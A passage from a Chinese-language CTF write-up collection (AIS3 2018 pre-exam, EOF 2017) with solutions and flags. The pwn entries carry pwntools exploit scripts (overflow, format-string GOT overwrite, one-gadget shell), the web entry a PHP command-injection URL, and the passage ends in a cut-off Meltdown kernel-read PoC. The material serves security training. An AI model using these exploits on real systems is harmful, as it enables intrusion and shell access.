(1)](./pre-exam/misc1.md) 25 | * [flags (2)](./pre-exam/misc2.md) 26 | * [svega (3)](./pre-exam/misc3.md) 27 | 28 | #### crypto 29 | * [POW (1)](./pre-exam/crypto1.md) 30 | * [XOR (2)](./pre-exam/crypto2.md) 31 | -------------------------------------------------------------------------------- /ais3-2018/pre-exam/README.md: -------------------------------------------------------------------------------- 1 | ## AIS3 2018 2 | ### pre-exam 3 | * [..](./..) 4 | 5 | #### web 6 | * [warmup (1)](./web1.md) 7 | * [hidden (2)](./web2.md) 8 | * [sushi (3)](./web3.md) 9 | 10 | #### reverse 11 | * [find (1)](./rev1.md) 12 | * [secret (2)](./rev2.md) 13 | * [crackme (3)](./rev3.md) 14 | * [calc (4)](./rev4.md) 15 | 16 | #### pwn 17 | * [mail (1)](./pwn1.md) 18 | * [darling (2)](./pwn2.md) 19 | * [justfmt (3)](./pwn3.md) 20 | * [Magic_World (4)](./pwn4.md) 21 | 22 | #### misc 23 | * [welcome (1)](./misc1.md) 24 | * [flags (2)](./misc2.md) 25 | * [svega (3)](./misc3.md) 26 | 27 | #### crypto 28 | * [POW (1)](./crypto1.md) 29 | * [XOR (2)](./crypto2.md) 30 | -------------------------------------------------------------------------------- /ais3-2018/pre-exam/crypto1.md: -------------------------------------------------------------------------------- 1 | ## POW 2 | ### solution 3 | 暴力解即可 4 | 5 | ### script 6 | ```python 7 | def brute(cipher): 8 | chars = string.ascii_letters + string.digits 9 | for guess in itertools.product(chars, repeat=5): 10 | if sha256(cipher + ''.join(guess)).hexdigest()[:6] == '000000': 11 | return cipher + ''.join(guess) 12 | print "not found" 13 | ``` 14 | 15 | ### flag 16 | ``` 17 | AIS3{Spid3r mAn - H3L1O wOR1d PrO0F 0F WOrK} 18 | ``` 19 | 20 | -------------------------------------------------------------------------------- /ais3-2018/pre-exam/crypto2.md: -------------------------------------------------------------------------------- 1 | ## XOR 2 | ### solution 3 | 先分析原本的script,得知key是一個8~12bytes的亂數,extend的行為基本上是將原本的key不斷重複擴展到長度L。 4 | 5 | 最後xor時,`flag+key`和`extend(key, len(flag+key))`會每個byte分別做XOR。而已知cipher和flag的前5 bytes(`AIS3{`),因此可以先還原出key的前5bytes,接著從不同位址開始XOR觀察規律 6 | ```python 7 | plain_prefix = b"AIS3{" 8 | key_prefix = xor(cipher, plain_prefix) 9 | print(key_prefix) 10 | for i in range(0, len(cipher) - len(plain_prefix)): 11 | print(i, xor(key_prefix, cipher[i:])) 12 | ``` 13 | 發現i為10的倍數時結果為純ASCII 14 | ``` 15 | 0 b'AIS3{' 16 | 10 b'In aM' 17 | 20 b' - Wh' 18 | 30 b'R Hap' 19 | 40 b't0mOR' 20 | 50 b'OU mU' 21 | 60 b'0Mis3' 22 | 70 b'n3 tH' 23 | 80 b'TH4T ' 24 | 90 b'iLL s' 25 | 100 b'ho Y0' 26 | 110 b'. Not' 27 | 120 b'Rfect' 28 | 130 b'IER, ' 29 | 140 b' gOOD' 30 | 150 b'}\x16\t|\xc7' 31 | ``` 32 | 因此我們可以得知key的長度為10,且第151個byte是`}`,將cipher長度減掉key長度也剛好為151,因此可以得知flag長度為151。 33 | 接著將xor對應關係大致繪圖如下 34 | ``` 35 | [AIS3{ FLAG ][K E Y] 36 | [K E Y][K E Y][K E Y][K E Y][K 37 | [ CIPHER ] 38 | ``` 39 | 可以推得如下表,尾段的xor關係 40 | 41 | | `p[151]`| `k[1]` | `k[2]` | `k[3]` | `k[4]` | `k[5]` | `k[6]` | `k[7]` | `k[8]` | `k[9]` | `k[10]` | 42 | |-|-|-|-|-|-|-|-|-|-|-| 43 | | `k[1]`| `k[2]` | `k[3]` | `k[4]` | `k[5]` | `k[6]` | `k[7]` | `k[8]` | `k[9]` | `k[10]` | `k[1]` | 44 | | `c[151]` | `c[152]` | `c[153]` | `c[154]` | `c[155]` | `c[156]` | `c[157]` | `c[158]` | `c[159]` | `c[160]` | `c[161]` | 45 | 46 | 由於k的前5 bytes已知,我們就可以從k[6]開始往後回推出完整的key 47 | ``` 48 | k[i] = k[i-1] XOR c[150+i] 49 | ``` 50 | 51 | ### script 52 | ```python 53 | #!/usr/bin/env python3 54 | 55 | with open('flag-encrypted', 'rb') as data: 56 | cipher = data.read() 57 | 58 | def extend(key, L): 59 | kL = len(key) 60 | return key * (L // kL) + key[:L % kL] 61 | 62 | def xor(X, Y): 63 | return bytes([x ^ y for x, y in zip(X, Y)]) 64 | 65 | plain_prefix = b"AIS3{" 66 | key_prefix = xor(cipher, plain_prefix) 67 | 68 | key = list(key_prefix) + [0, 0, 0, 0, 0] 69 | for i in range(5, 10): 70 | key[i] = cipher[150 + i] ^ key[i - 1] 71 | 72 | key = bytes(key) 73 | print(key) 74 | print(xor(cipher, extend(key, 151))) 75 | ``` 76 | ### flags 77 | ``` 78 | AIS3{captAIn aMeric4 - Wh4T3V3R HapPenS t0mORr0w YOU mUst PR0Mis3 ME on3 tHIng. TH4T yOu WiLL stAY Who Y0U 4RE. Not A pERfect sO1dIER, buT 4 gOOD MAn.} 79 | ``` 80 | -------------------------------------------------------------------------------- /ais3-2018/pre-exam/misc1.md: -------------------------------------------------------------------------------- 1 | ## welcome 2 | ### solution 3 | FLAG就在介紹影片中。 4 | ### flag 5 | ``` 6 | AIS3{Maybe_This_is_the_Flag_You_Want} 7 | ``` 8 | -------------------------------------------------------------------------------- /ais3-2018/pre-exam/misc2.md: -------------------------------------------------------------------------------- 1 | ## flags 2 | ### solution 3 | 這題顧名思義有很多flag,題目是一個JPG,圖片本身有一個假flag,`$ strings flags.jpg | grep "AIS3{"`可以再找到一個假flag,仔細觀察raw binary會發現圖片尾端有個zip檔,可以利用`binwalk -e flags.jpg`解出,裏面包含flag跟一個圖片Avengers_Infinity_War_Poster.jpg,大小為148837,丟去google可以發現[原圖](http://www.christinaperri.com/sites/g/files/g2000003451/f/Avengers_Infinity_War_poster.jpg),以pkcrack就可以解開壓縮檔,但裡面的flag仍然是假的... 4 | 5 | 最後發現FLAG位於圖片中外框下方的摩斯電碼 6 | 7 | 這題真的令人很想罵幹... 8 | ### flag 9 | ``` 10 | ais3{youfindtherealflagohyeah} 11 | ``` 12 | -------------------------------------------------------------------------------- /ais3-2018/pre-exam/misc3.md: -------------------------------------------------------------------------------- 1 | ## svega 2 | ### solution 3 | 使用MP3stego 4 | `decode -X svega.mp3 -P` 5 | 6 | ### flag 7 | ``` 8 | AIS3{I_HearD_imPlIeD_Fl46_1N_TH3_5oN6} 9 | ``` 10 | 11 | -------------------------------------------------------------------------------- /ais3-2018/pre-exam/pwn1.md: -------------------------------------------------------------------------------- 1 | ## mail 2 | ### solution 3 | 分析以後發現main會呼叫兩次`gets()`,可以進行覆蓋到return address,而有個函式`reply()`似乎會讀檔並輸出內容,因此試著控制RIP跳到`reply()`即能拿到flag。 4 | ### script 5 | ```python 6 | #!/usr/bin/env python3 7 | from pwn import * 8 | context(arch="amd64") 9 | 10 | r = remote("104.199.235.135", 2111) 11 | b = ELF("mail") 12 | r.sendline(b"a" * 40 + p64(b.symbols[b'reply'])) 13 | r.sendline("a") 14 | r.interactive() 15 | ``` 16 | ### flag 17 | ``` 18 | AIS3{3hY_d0_yOU_Kn0uu_tH3_r3p1Y?!_I_d0nt_3ant_t0_giu3_QwQ} 19 | ``` 20 | -------------------------------------------------------------------------------- /ais3-2018/pre-exam/pwn2.md: -------------------------------------------------------------------------------- 1 | ## darling 2 | ### solution 3 | 首先分析source code,有個`debug()`可以直接執行shell,`main`裏面index部份沒有檢查可能為負數 4 | ```c 5 | scanf("%d", &idx); 6 | if(idx > 2){ 7 | printf("Error: index error\n"); 8 | continue; 9 | } 10 | 11 | ``` 12 | 因此可以使`index`為-5令`scanf("%lld", &pair[idx]); 13 | `覆蓋到`scanf`本身的return address,寫成`debug`即可。 14 | ### script 15 | ```python 16 | #!/usr/bin/env python3 17 | from pwn import * 18 | context(arch="amd64") 19 | 20 | r = remote("104.199.235.135", 2112) 21 | 22 | b = ELF("darling") 23 | r.sendline("-5") 24 | r.sendline(str(b.symbols[b'debug'])) 25 | 26 | r.interactive() 27 | ``` 28 | ### flag 29 | ``` 30 | AIS3{r3w3mpeR_t0_CH3cK_b0tH_uPb3r_b0nud_&_10w3r_bounp} 31 | ``` 32 | -------------------------------------------------------------------------------- /ais3-2018/pre-exam/pwn3.md: -------------------------------------------------------------------------------- 1 | ## justfmt 2 | ### solution 3 | `WriteFormatted`會把參數丟到`va_list`傳給`vprintf`,因此實際上就等於`printf`,題目大致能改寫如下 4 | ```c 5 | int main() { 6 | read(0, buf, 40) 7 | printf(buf); 8 | printf(buf); 9 | } 10 | ``` 11 | 本題`printf`有40 bytes buffer的format string漏洞,基本上能辦到任意寫跟leak,詭異的點在於連續`printf`兩次,但中間卻沒有任何輸入能改變buf。 12 | 13 | 題目給了libc,但只有一次input,就算leak出位址了也不能再次輸入,沒有leak的話也沒辦法知道return的位址來控制rip, 14 | 15 | 檔案只有PARTIAL RELRO,唯一想到控制rip的方法是overwrite `vprintf@got`,原本想試圖寫為`main`之類的,但若是寫掉`vprintf`也就無法再繼續使用漏洞,試著partial寫成one gadget也都fail。 16 | 17 | 最後想到的是不穩定的方式,在提供的libc中可以發現`vprintf`位址為`0x4f040`,`system`為`0x46590`,由於ASLR不會隨機化最後12bits,且這兩者在附近,因此我們可以試著把`vprintf@got`最後2 bytes(16bits)寫成`0x6590`,如此一來只要賭前4個bit(16種可能),也就是1/16的機率相同即可執行`system`。 18 | 19 | 再來是payload,由於要執行shell,因此最前面加上`sh #`來截斷後面的部份即可。 20 | 21 | ### script 22 | ```python 23 | #!/usr/bin/env python3 24 | from pwn import * 25 | context(arch="amd64") 26 | 27 | while True : 28 | r = remote("104.199.235.135", 2113) 29 | binary = ELF("justfmt") 30 | libc = ELF("libc-2.19.so") 31 | 32 | payload = b"sh #" 33 | payload += b"%%%dc%%13$hn" % (libc.symbols[b"system"] % 0x10000 - len(payload)) 34 | payload += b"a" * (0x38 - len(payload)) 35 | payload += p64(binary.got[b'vprintf']) 36 | 37 | r.sendline(payload) 38 | try: 39 | r.interactive() 40 | except: 41 | r.close() 42 | continue 43 | ``` 44 | ### flag 45 | ``` 46 | AIS3{fMt_stR1n6_1s_H4rp_s0w3t1meS_dnt_1ts_fnu!!} 47 | ``` 48 | -------------------------------------------------------------------------------- /ais3-2018/pre-exam/pwn4.md: -------------------------------------------------------------------------------- 1 | ## Magic_World 2 | ### solution 3 | 題目反編譯如下: 4 | ```c 5 | int __cdecl main() { 6 | int choice; // [rsp+Ch] [rbp-4h] 7 | do { 8 | while ( 1 ) { 9 | puts("================================"); 10 | puts(aMagicWorld); 11 | puts("================================"); 12 | puts(" 1. Regist a spell"); 13 | puts(" 2. Try a spell"); 14 | puts("================================"); 15 | __printf_chk(1LL, "Choice: "); 16 | __isoc99_scanf("%d", &v4); 17 | if ( choice != 1 ) 18 | break; 19 | regist(); 20 | } 21 | } while ( choice != 2 ); 22 | magic(); 23 | return 0; 24 | } 25 | 26 | __int64 regist() { 27 | char buf; // [rsp+0h] [rbp-70h] 28 | 29 | __printf_chk(1LL, "Give me your spell: "); 30 | read(0, &buf, 0x64uLL); 31 | __printf_chk(1LL, "Regist: "); 32 | return __printf_chk(1LL, &buf); 33 | } 34 | 35 | ssize_t magic() { 36 | char buf; // [rsp+0h] [rbp-10h] 37 | 38 | __printf_chk(1LL, "Give me your spell: "); 39 | return read(0, &buf, 0x11uLL); 40 | } 41 | ``` 42 | 題目可以無限次`regist()`,裏面有0x64個bytes的format string漏洞,但由於binary有開啟FORTIFY SOURCE,無法使用extension的"$"功能,最後可以有一次長度0x11的`read()`,可以overflow 1byte到rbp的最低byte。 43 | 44 | 題目有給libc因此就先試著leak libc,同時試著把stack位址也leak出來,由於buffer長度夠大,即使不能使用"$"也仍然足以leak出main的rbp(stack)和main的return位址(libc),都leak出來以後便是思考怎麼控制執行流程。 45 | 46 | `magic`內的1 byte overflow可以使`main`的rbp移動到鄰近位址,而return位址固定為rbp+8,利用這點我們可以使rbp落在`magic()`中`read`的buffer上,如此一來就能控制rip,最後則是該怎麼執行shell。 47 | 48 | 非常地剛好,`magic()` return回`main`之後會先執行`mov eax, 0`才`leave; ret;`,而libc中有constraint是`rax==0`的one gadget 49 | ```c 50 | 0x46428 execve("/bin/sh", rsp+0x30, environ) 51 | constraints: 52 | rax == NULL 53 | ``` 54 | 試著跳到這個gadget就成功拿到shell了。 55 | ### script 56 | ```python 57 | #!/usr/bin/env python3 58 | from pwn import * 59 | context(arch="amd64") 60 | 61 | def regist(s): 62 | r.recvuntil("Choice: ") 63 | r.sendline("1") 64 | r.recvuntil("spell: ") 65 | r.send(s) 66 | 67 | def magic(s): 68 | r.recvuntil("Choice: ") 69 | r.sendline("2") 70 | r.recvuntil("spell: ") 71 | r.send(s) 72 | 73 | #r = process("Magic_World") 74 | r = remote("104.199.235.135", 2114) 75 | 76 | # leak 77 | regist("%llx%llx%llx%llx%llx%llx%llx%llx%llx%llx%llx%llx%llx%llx%llx%llx%llx%llx#%llx%llx%llx%llx%llx@%llx") 78 | r.recvuntil("#") 79 | main_rbp = int(r.recv(12), 16) 80 | r.recvuntil("@") 81 | libc_addr = int(r.recvuntil("==", drop=True)[:12], 16) 82 | libc = libc_addr - 0x21f45 83 | 84 | # overwrite the last byte of rbp 85 | # making rbp = buffer => rip = buffer + 0x8 86 | last_byte = bytes([(main_rbp - 0x30) % 0x100]) 87 | payload = b"a"*8 + p64(libc + 0x46428) + last_byte 88 | magic(payload) 89 | 90 | r.interactive() 91 | 92 | ``` 93 | ### flag 94 | ``` 95 | AIS3{m1gRatlon_&_b0f_13_Qu1t3_3asY!!!} 96 | ``` 97 | -------------------------------------------------------------------------------- /ais3-2018/pre-exam/rev1.md: -------------------------------------------------------------------------------- 1 | ## find 2 | ### solution 3 | ``` 4 | $ strings a.out | grep "AIS3{" 5 | ``` 6 | ### flag 7 | ``` 8 | AIS3{StrINg$_And_gR3P_I5_U$eFu1} 9 | -------------------------------------------------------------------------------- /ais3-2018/pre-exam/rev2.md: -------------------------------------------------------------------------------- 1 | ## secret 2 | ### solution 3 | 丟進IDA分析,程式會`srand(0)`接著連續85次和`rand() % 2018`比較來根據亂數把flag寫到`/tmp/secret` 4 | 題目也說明了gcc的版本(影響的應該是glibc?),因此一樣設定seed產生相同的亂數餵給程式,最後看`/tmp/secret`即可。 5 | ### script 6 | ```c 7 | /* crng.c */ 8 | #include 9 | #include 10 | int main(void) { 11 | srand(0); 12 | for(;;) { 13 | printf("%d\n", rand()); 14 | getchar(); 15 | } 16 | return 0; 17 | } 18 | ``` 19 | ```python 20 | #!/usr/bin/env python3 21 | from pwn import * 22 | class crng: 23 | def __init__(self): 24 | self.p = process("crng") 25 | def rand(self): 26 | i = int(self.p.recvline().strip()) 27 | self.p.sendline() 28 | return i 29 | r = process("secret") 30 | rng = crng() 31 | for _ in range(85): 32 | r.sendline(str(rng.rand() % 2018)) 33 | r.interactive() 34 | ``` 35 | ### flag 36 | ``` 37 | AIS3{tHere_1s_a_VErY_VerY_VeRY_1OoO00O0oO0OOoO0Oo000OOoO00o00oG_f1@g_iN_my_m1Nd} 38 | ``` 39 | -------------------------------------------------------------------------------- /ais3-2018/pre-exam/rev3.md: -------------------------------------------------------------------------------- 1 | ## crackme 2 | ### solution 3 | 題目是`.NET` binary,丟進IDA只能還原回CIL,可以用dotPeek這個`.NET` decompiler。丟進去後找到`Button1_Click()`這個函式,可以馬上看到一個array 4 | ```csharp= 5 | public MainWindow() 6 | { 7 | this.cnt = (object) 0; 8 | this.error_log = (object) ""; 9 | this.secret = (object) new int[29] 10 | { 11 | 234, 12 | 226, 13 | 248, 14 | 152, 15 | 208, 16 | 154, 17 | 223, 18 | 244, 19 | 226, 20 | 158, 21 | 244, 22 | 238, 23 | 234, 24 | 216, 25 | 210, 26 | 244, 27 | 223, 28 | 228, 29 | 244, 30 | 232, 31 | 249, 32 | 159, 33 | 200, 34 | 192, 35 | 244, 36 | 230, 37 | 206, 38 | 138, 39 | 214 40 | }; 41 | this.InitializeComponent(); 42 | } 43 | ``` 44 | 接著下面的部分 45 | ```csharp 46 | object obj3 = Operators.AddObject(^(local4 = ref this.cnt), (object) 1); 47 | local4 = obj3; 48 | if (Operators.ConditionalCompareObjectEqual(this.cnt, (object) (int) ushort.MaxValue, false)) 49 | { 50 | int num1 = checked (integer - 1); 51 | int num2 = 0; 52 | while (num2 <= num1) 53 | { 54 | // ISSUE: variable of a reference type 55 | object& local5; 56 | // ISSUE: explicit reference operation 57 | object obj4 = Operators.ConcatenateObject(^(local5 = ref this.error_log), (object) Convert.ToChar(Convert.ToInt32(RuntimeHelpers.GetObjectValue(NewLateBinding.LateIndexGet(this.secret, new object[1] 58 | { 59 | (object) num2 60 | }, (string[]) null))) ^ 171)); 61 | local5 = obj4; 62 | checked { ++num2; } 63 | } 64 | Console.WriteLine(RuntimeHelpers.GetObjectValue(this.error_log)); 65 | } 66 | int num3 = checked (integer - 1); 67 | int index2 = 0; 68 | while (index2 <= num3) 69 | { 70 | if (Operators.ConditionalCompareObjectNotEqual(NewLateBinding.LateIndexGet(this.secret, new object[1] 71 | { 72 | (object) index2 73 | }, (string[]) null), (object) (Convert.ToInt32(text[index2]) ^ 171), false)) 74 | flag = false; 75 | checked { ++index2; } 76 | } 77 | ``` 78 | 不是很懂在幹什麼,但是有兩行在做xor 171,總之試著把原本的secret拿去xor 171就能拿到FLAG了。 79 | 80 | ### flag 81 | ``` 82 | AIS3{1t_I5_EAsy_tO_CR4ck_Me!} 83 | ``` 84 | -------------------------------------------------------------------------------- /ais3-2018/pre-exam/rev4.md: -------------------------------------------------------------------------------- 1 | ## calc 2 | ### solution 3 | 這題的題目是Golang的binary,不過至少沒有strip,先跑跑看會發現有三個功能 4 | 1. Input key:讀取兩個key 5 | 2. Get Flag:顯示Your keys are wrong!! 6 | 3. Exit 7 | 8 | 總之先丟進IDA,從`main_main`開始看,Go的所有function前面都會有個`runtime_morestack_noctxt()`,這部分可以無視,根據其他function裡面`fmt_Println`的參數字串和數量可以大致還原出架構,參數跟變數都不重要。 9 | ```c 10 | _BOOL8 __fastcall main_main(__int64 a1, __int64 a2, __int64 a3, __int64 a4, __int64 a5, __int64 a6) { 11 | show_banner(); 12 | while ( !(_BYTE)result ) 13 | { 14 | show_menu(); 15 | show_prompt(); 16 | read_int(a1); 17 | if ( choice == 1 ) 18 | { 19 | inputkey(); 20 | } 21 | else 22 | { 23 | if ( choice == 2 ) 24 | { 25 | getflag(); 26 | result = 0LL; 27 | } 28 | else 29 | { 30 | result = choice == 3; 31 | } 32 | } 33 | } 34 | return result; 35 | } 36 | ``` 37 | `inputkey`裡面只是單純讀取字串,因此來看看`getflag` 38 | ```c 39 | __int64 __fastcall getflag(__int64 a1, __int64 a2, __int64 a3, __int64 a4, __int64 a5, __int64 a6) { 40 | runtime_stringtoslicerune(a1, a2, a3, v6); 41 | v34 = v27; 42 | runtime_stringtoslicerune(a1, a2, v29, v27); 43 | op_Func3(a1, a2, v7, v8, v9, v10, v34, v28, v29, v27, v28); 44 | v31 = op_statictmp_0; 45 | v11 = duffcopy((char *)&v31 + 4, (char *)&op_statictmp_0 + 4); 46 | op_Func4((__int64)&v31 + 4, (__int64)&op_statictmp_0 + 4, v12, v13, v14, v15, v13, v12, v11, (__int64)&v31, 0x19uLL); 47 | if ( !result ) 48 | return itface_Func6(); 49 | itface_Func7(); 50 | *(_QWORD *)&v16 = &unk_4C79D8; 51 | *((_QWORD *)&v16 + 1) = 8LL; 52 | io_ioutil_ReadFile((__int64)&v31 + 4, (__int64)&op_statictmp_0 + 4, v17, v18, v16); 53 | v33 = *(_QWORD *)v26; 54 | os_Exit((__int64)&v31 + 4); 55 | *(_QWORD *)&v19 = 0LL; 56 | *((_QWORD *)&v19 + 1) = v33; 57 | *(_OWORD *)v26 = *(_OWORD *)&v26[8]; 58 | runtime_slicebytetostring( 59 | (__int64)&v31 + 4, 60 | (__int64)&op_statictmp_0 + 4, 61 | *(__int64 *)&v26[16], 62 | *(_DWORD *)v26, 63 | v20, 64 | v19); 65 | v35 = *(_QWORD *)&v26[16]; 66 | v36 = 25LL; 67 | v37 = 0LL; 68 | runtime_convT2Estring((__int64)&v31 + 4, (__int64)&op_statictmp_0 + 4, v21, 25LL); 69 | v37 = *(_OWORD *)v26; 70 | return fmt_Println((__int64)&v31 + 4, (__int64)&op_statictmp_0 + 4, v22, *(__int64 *)&v26[16], v23, v24); 71 | } 72 | ``` 73 | 這邊可以先從第9行的`if`開始分割,下面有`io_ioutil_ReadFile`很可疑,繼續分析上面的`itface_Func7()`會發現裡面會輸出字串`Here you are (o^-’)b`,而`itface_Fun6`則是輸出`Your keys are wrong!!`所以推測只要if不成立就會讀檔拿到flag。 74 | 75 | 接著可以看到兩個`runtime_stringtoslicerune`,`op_Func3`和`op_Func4`,`runtime_stringtoslicerune`稍微查一下或用gdb trace,會發現把輸入的字串轉換成unicode runes,有兩次,因此應該是分別對key1和key2進行轉換。 76 | 77 | 接下來是分析op_Func3,裡面非常的複雜,光靜態分析也很難分析出變數的意義,因此試著用gdb去追蹤,觀察原本的key發生了什麼變化,這邊trace一陣子之後可以發現是把兩個unicode string進行相加(dword by dword),之所以這麼複雜只是在判斷長度不同的部份, 確定功能以後這內容就不是那麼重要。 78 | 79 | 最後是`op_Func4` 80 | ```c 81 | __int64 __fastcall op_Func4(__int64 a1, __int64 a2, __int64 a3, __int64 a4, __int64 a5, __int64 a6, __int64 a7, signed __int64 my_len, char a9, __int64 a10, unsigned __int64 secret_len) { 82 | 83 | result = my_len; 84 | if ( my_len == secret_len ) 85 | { 86 | for ( i = 0LL; (signed __int64)i < my_len; ++i ) 87 | { 88 | v13 = *(unsigned int *)(a7 + 4 * i); 89 | if ( i >= secret_len ) 90 | runtime_panicindex(v13, i); 91 | if ( (_DWORD)v13 != *(_DWORD *)(a10 + 4 * i) ) 92 | break; 93 | } 94 | } 95 | return result; 96 | } 97 | ``` 98 | 這邊推測是在驗證key是否正確,用gdb也可以看出是在跟記憶體中的某個unicode字串進行比較,所以只要使輸入的兩個key相加後等於這個字串即可,這個字串break在op_Func4的entry時會在`$rax`,可以直接用gdb dump出來。因為進去會先進行長度檢查,固定跟0x19比較,若不相等就直接return,可以得知這個字串長度應該為0x19,因此應該取以下位址的前19個字元。 99 | ``` 100 | 0xc420059d8c: 0x0000006d0000fffd 0x0000000f0000fffd 101 | 0xc420059d9c: 0x000000580000006f 0x0000003100000020 102 | 0xc420059dac: 0x0000002000000073 0x0000004800000074 103 | 0xc420059dbc: 0x0000000000000030 0x000000530000fffd 104 | 0xc420059dcc: 0x0000002000000074 0x0000005400000063 105 | 0xc420059ddc: 0x0000002000000046 0x0000003a00000074 106 | 0xc420059dec: 0x000000310000006d 0x0000003300000032 107 | 0xc420059dfc: 0x0000003500000034 0x0000003700000036 108 | 0xc420059e0c: 0x0000006100000038 0x0000006300000062 109 | 0xc420059e1c: 0x0000006500000064 0x0000006700000066 110 | ``` 111 | 112 | 比較trcik的部份就是裡面有包含2byte的字元,所以payload裡面應該用`"\uXXXX"`來encode,最後key為`"\ufffd\x6d\ufffd\x0f\x6f\x58\x20\x31\x73\x20\x74\x48\x30\x00\ufffd\x53\x74\x20\x63\x54\x46\x20\x74\x3a\x6d"`,讓他和`\x00`相加即可。 113 | 114 | 115 | ### script 116 | ```python 117 | #!/usr/bin/env python3 118 | from pwn import * 119 | context(arch="amd64") 120 | 121 | #r = process("calc") 122 | r = remote("104.199.235.135", 2115) 123 | a = "\ufffd\x6d\ufffd\x0f\x6f\x58\x20\x31\x73\x20\x74\x48\x30\x00\ufffd\x53\x74\x20\x63\x54\x46\x20\x74\x3a\x6d" 124 | b = b"\x00" 125 | r.recvuntil("Choice >") 126 | r.sendline("1") 127 | r.recvuntil("key >") 128 | r.sendline(a) 129 | r.recvuntil("key >") 130 | r.sendline(b) 131 | r.recvuntil("Choice >") 132 | r.sendline("2") 133 | r.interactive() 134 | ``` 135 | ### flag 136 | ``` 137 | AIS3{G0_gO_g0_T0_h1Gh_!!!_R3v3rs3_oN_g0lauG_p1narY_1s_3xHanst3d_Orz} 138 | ``` 139 | -------------------------------------------------------------------------------- /ais3-2018/pre-exam/web1.md: -------------------------------------------------------------------------------- 1 | ## warmup 2 | ### solution 3 | 觀察 Header可以發現一個欄位是partial-flag,而網址有個GET參數p,試著修改為其他數字會發現partial-flag改變,因此按照順序拼出 Flag 即可。 4 | 5 | ### flag 6 | ``` 7 | AIS3{g00d! u know how 2 check H3AD3R fie1ds.} 8 | ``` 9 | -------------------------------------------------------------------------------- /ais3-2018/pre-exam/web2.md: -------------------------------------------------------------------------------- 1 | ### hidden 2 | #### solution 3 | header中有`FLAG`等於`AIS3{NOT_A_VALID_FLAG}`,網頁會一直倒數然後可以redirect,因此寫一個script直到header改變時終止迴圈,跑到17332時會跳出迴圈。 4 | #### flag 5 | ``` 6 | AIS3{g00d_u_know_how_2_script_4_W3B_7aad33de8e494a1a5765b1115db93cc3} 7 | ``` 8 | -------------------------------------------------------------------------------- /ais3-2018/pre-exam/web3.md: -------------------------------------------------------------------------------- 1 | ### sushi 2 | #### solution 3 | 這題在`die`當中可以進行injection,而只要搭配php的backtick執行指令,結果就會被`die`輸出。 4 | http://104.199.235.135:31333/?%F0%9F%8D%A3=".\`ls\`." 5 | 可以得知 flag 藏在: 6 | http://104.199.235.135:31333/flag_name_1s_t00_l0ng_QAQQQQQQ 7 | #### flag 8 | ``` 9 | AIS3{php_is_very_very_very_easyyyyyy} 10 | ``` 11 | -------------------------------------------------------------------------------- /ais3-eof-2017/README.md: -------------------------------------------------------------------------------- 1 | # AIS3 EOF 2017 2 | 3 | Team : EZ_CAT 4 | 5 | * [..](./../) 6 | ## [Qualification](./qualification) 7 | * pwn 8 | * [writeme (150)](./qualification/writeme.md) 9 | * [Bingo (200)](./qualification/Bingo.md) 10 | * [magicheap (250)](./qualification/magicheap.md) 11 | * Reverse 12 | * [simple (100)](./qualification/simple.md) 13 | * [MOSburger (200)](./qualification/MOSburger.md) 14 | * [singlehell (200)](./qualification/singlehell.md) 15 | * [MindSweeper (400)](./qualification/MindSweeper.md) 16 | * misc 17 | * [Python2Easy (150)](./qualification/Python2Easy.md) 18 | * [Python2Easy? (250)](./qualification/Python2Easy2.md) 19 | * web 20 | * [xssme (100)](./qualification/xssme.md) 21 | * [webshell (100)](./qualification/webshell.md) 22 | 23 | ## [Final](./final) 24 | * [getflag](./final/getflag.md) 25 | -------------------------------------------------------------------------------- /ais3-eof-2017/final/getflag.md: -------------------------------------------------------------------------------- 1 | ## getflag 2 | ### solution 3 | 這是Final唯一解出來的一題Orz。 4 | 首先試著執行題目給的binary發現無法執行,不過`file`顯示是relocatable,也可以進行反組譯。反組譯後會看到`kfree`、`printk`和`init_module`之類的symbol、因此猜測是kernel module之類,在remote shell上面用`lsmod`、`dmesg`、可以看到確實有`getflag`這個kernel module的相關訊息。 5 | 6 | 接著以IDA Pro反組譯module,可以看見他會在procfs底下建立`getflag`和`getflag_addr`兩個entry。 7 | 試著`cat /proc/getflag_addr`會輸出一串kernel space address,`cat /proc/getflag`則會顯示`[access denied]`。 8 | 9 | 到此可以推測目標為leak出存在該kernel memory address的flag,而remote版本為linux 4.4.0,處理器為Intel,而且必須從user mode讀取kernel space,剛好符合Meltdown的攻擊要件,因此試著以PoC進行攻擊。 10 | 11 | 將[原PoC](https://github.com/paboldin/meltdown-exploit/blob/master/meltdown.c)修改成以下版本後,以`getflag_addr`的位址作為執行參數即可讀出flag。 12 | 13 | 修改點在於將原本開啟的`/proc/version`改為`/proc/getflag`,如此一來會在此處將flag prefetch進cache中,之後的讀取才能成功。 14 | ### PoC 15 | 16 | ```c 17 | #define _GNU_SOURCE 18 | 19 | #include 20 | #include 21 | #include 22 | #include 23 | #include 24 | #include 25 | #include 26 | #include 27 | 28 | #include 29 | 30 | #include "rdtscp.h" 31 | 32 | //#define DEBUG 1 33 | 34 | 35 | #if !(defined(__x86_64__) || defined(__i386__)) 36 | # error "Only x86-64 and i386 are supported at the moment" 37 | #endif 38 | 39 | 40 | #define TARGET_OFFSET 12 41 | #define TARGET_SIZE (1 << TARGET_OFFSET) 42 | #define BITS_READ 8 43 | #define VARIANTS_READ (1 << BITS_READ) 44 | 45 | static char target_array[VARIANTS_READ * TARGET_SIZE]; 46 | 47 | void clflush_target(void) 48 | { 49 | int i; 50 | 51 | for (i = 0; i < VARIANTS_READ; i++) 52 | _mm_clflush(&target_array[i * TARGET_SIZE]); 53 | } 54 | 55 | extern char stopspeculate[]; 56 | 57 | static void __attribute__((noinline)) 58 | speculate(unsigned long addr) 59 | { 60 | #ifdef __x86_64__ 61 | asm volatile ( 62 | "1:\n\t" 63 | 64 | ".rept 300\n\t" 65 | "add $0x141, %%rax\n\t" 66 | ".endr\n\t" 67 | 68 | "movzx (%[addr]), %%eax\n\t" 69 | "shl $12, %%rax\n\t" 70 | "jz 1b\n\t" 71 | "movzx (%[target], %%rax, 1), %%rbx\n" 72 | 73 | "stopspeculate: \n\t" 74 | "nop\n\t" 75 | : 76 | : [target] "r" (target_array), 77 | [addr] "r" (addr) 78 | : "rax", "rbx" 79 | ); 80 | #else /* ifdef __x86_64__ */ 81 | asm volatile ( 82 | "1:\n\t" 83 | 84 | ".rept 300\n\t" 85 | "add $0x141, %%eax\n\t" 86 | ".endr\n\t" 87 | 88 | "movzx (%[addr]), %%eax\n\t" 89 | "shl $12, %%eax\n\t" 90 | "jz 1b\n\t" 91 | "movzx (%[target], %%eax, 1), %%ebx\n" 92 | 93 | 94 | "stopspeculate: \n\t" 95 | "nop\n\t" 96 | : 97 | : [target] 